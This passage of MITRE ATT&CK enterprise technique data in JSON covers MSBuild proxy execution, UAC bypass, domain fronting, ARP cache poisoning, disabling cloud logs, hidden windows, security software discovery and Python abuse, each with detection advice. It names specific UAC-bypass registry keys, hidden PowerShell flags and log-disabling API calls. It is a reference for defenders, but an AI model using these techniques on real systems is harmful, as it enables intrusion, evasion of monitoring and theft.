Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Service: Service Metadata","Network Traffic: Network Connection Creation","Process: Process Creation"],"x_mitre_defense_bypassed":["Firewall","Host forensic analysis"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["@ionstorm","Carrie Roberts, @OrOneEqualsOne"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","type":"attack-pattern","created":"2020-03-27T21:50:26.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1127.001","url":"https://attack.mitre.org/techniques/T1127/001"},{"url":"https://msdn.microsoft.com/library/dd393574.aspx","description":"Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.","source_name":"MSDN MSBuild"},{"source_name":"Microsoft MSBuild Inline Tasks 2017","url":"https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element","description":"Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021."},{"source_name":"LOLBAS Msbuild","url":"https://lolbas-project.github.io/lolbas/Binaries/Msbuild/","description":"LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019."}],"modified":"2021-10-15T23:57:07.973Z","name":"MSBuild","description":"Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_system_requirements":[" .NET Framework version 4 or higher"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be","type":"attack-pattern","created":"2017-05-31T21:31:07.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1088","url":"https://attack.mitre.org/techniques/T1088"},{"url":"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works","description":"Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.","source_name":"TechNet How UAC Works"},{"url":"https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx","description":"Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.","source_name":"TechNet Inside UAC"},{"url":"https://msdn.microsoft.com/en-us/library/ms679687.aspx","description":"Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.","source_name":"MSDN COM Elevation"},{"url":"http://www.pretentiousname.com/misc/win7_uac_whitelist2.html","description":"Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.","source_name":"Davidson Windows"},{"url":"https://github.com/hfiref0x/UACME","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.","source_name":"Github UACMe"},{"url":"https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/","description":"Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.","source_name":"enigma0x3 Fileless UAC Bypass"},{"url":"https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware","description":"Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.","source_name":"Fortinet Fareit"},{"url":"http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass","description":"Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.","source_name":"SANS UAC Bypass"},{"url":"https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/","description":"Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.","source_name":"enigma0x3 sdclt app paths"},{"url":"https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/","description":"Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.","source_name":"enigma0x3 sdclt bypass"}],"modified":"2020-02-05T20:08:32.863Z","name":"Bypass User Account Control","description":"Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Windows User Account Control"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_effective_permissions":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b","type":"attack-pattern","created":"2019-04-09T16:09:22.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1494","url":"https://attack.mitre.org/techniques/T1494"},{"description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://content.fireeye.com/apt/rpt-apt38","source_name":"FireEye APT38 Oct 2018"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}],"modified":"2020-03-02T14:30:49.400Z","name":"Runtime Data Manipulation","description":"Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_impact_type":["Integrity"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Kelly, @breakersall"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","type":"attack-pattern","created":"2020-03-14T23:29:19.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1090.004","url":"https://attack.mitre.org/techniques/T1090/004"},{"external_id":"CAPEC-481","source_name":"capec","url":"https://capec.mitre.org/data/definitions/481.html"},{"url":"http://www.icir.org/vern/papers/meek-PETS-2015.pdf","description":"David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.","source_name":"Fifield Blocking Resistent Communication through domain fronting 2015"}],"modified":"2020-09-16T19:30:54.226Z","name":"Domain Fronting","description":"Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jon Sternstein, Stern Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","type":"attack-pattern","created":"2020-10-15T12:05:58.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1557.002","url":"https://attack.mitre.org/techniques/T1557/002"},{"source_name":"RFC826 ARP","url":"https://tools.ietf.org/html/rfc826","description":"Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020."},{"source_name":"Sans ARP Spoofing Aug 2003","url":"https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411","description":"Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020."},{"source_name":"Cylance Cleaver","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"}],"modified":"2021-07-28T01:04:39.141Z","name":"ARP Cache Poisoning","description":"Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Syed Ummar Farooqh, McAfee","Prasad Somasamudram, McAfee","Sekhar Sarukkai, McAfee ","Ibrahim Ali Khan","Alex Soler, AttackIQ","Janantha Marasinghe","Matt Snyder, VMware"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","type":"attack-pattern","created":"2020-10-12T13:52:32.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1562.008","url":"https://attack.mitre.org/techniques/T1562/008"},{"source_name":"Following the CloudTrail: Generating strong AWS security signals with Sumo Logic","url":"https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/","description":"Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020."},{"source_name":"Stopping CloudTrail from Sending Events to CloudWatch Logs","url":"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html","description":"Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020."},{"source_name":"Configuring Data Access audit logs","url":"https://cloud.google.com/logging/docs/audit/configure-data-access","description":"Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020."},{"source_name":"az monitor diagnostic-settings","url":"https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete","description":"Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020."}],"modified":"2022-03-08T21:55:27.505Z","name":"Disable Cloud Logs","description":"An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor logs for API calls to disable logging. In AWS, monitor for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation: Configuring Data Access audit logs)  In Azure, monitor for <code>az monitor diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Cloud Service: Cloud Service Disable","Cloud Service: Cloud Service Modification"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Isif Ibrahima, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","created":"2020-02-21T21:16:18.066Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1518.001","url":"https://attack.mitre.org/techniques/T1518/001"},{"source_name":"Expel IO Evil in AWS","url":"https://expel.io/blog/finding-evil-in-aws/","description":"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."},{"source_name":"DescribeSecurityGroups - Amazon Elastic Compute Cloud","url":"https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSecurityGroups.html","description":"Amazon Web Services, Inc. . (2022). DescribeSecurityGroups. Retrieved January 28, 2022."},{"url":"https://capec.mitre.org/data/definitions/581.html","source_name":"capec","external_id":"CAPEC-581"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the <code>DescribeSecurityGroups</code> action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)","modified":"2022-04-11T22:26:34.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Security Software Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Firewall: Firewall Metadata","Process: Process Creation","Firewall: Firewall Enumeration","Process: OS API Execution","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","type":"attack-pattern","created":"2020-03-13T20:26:49.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.003","url":"https://attack.mitre.org/techniques/T1564/003"},{"source_name":"PowerShell About 2019","url":"https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1","description":"Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019."},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"}],"modified":"2022-03-15T21:09:43.489Z","name":"Hidden Window","description":"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Script: Script Execution","File: File Modification","Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8","type":"attack-pattern","created":"2019-04-09T16:08:20.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1493","url":"https://attack.mitre.org/techniques/T1493"},{"description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://content.fireeye.com/apt/rpt-apt38","source_name":"FireEye APT38 Oct 2018"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}],"modified":"2020-03-02T14:27:49.110Z","name":"Transmitted Data Manipulation","description":"Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_impact_type":["Integrity"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","type":"attack-pattern","created":"2020-03-09T14:38:24.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1059.006","url":"https://attack.mitre.org/techniques/T1059/006"}],"modified":"2021-07-26T22:49:23.094Z","name":"Python","description":"Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["Administrator","SYSTEM","root"],"x_mitre_system_requirements":["Python is 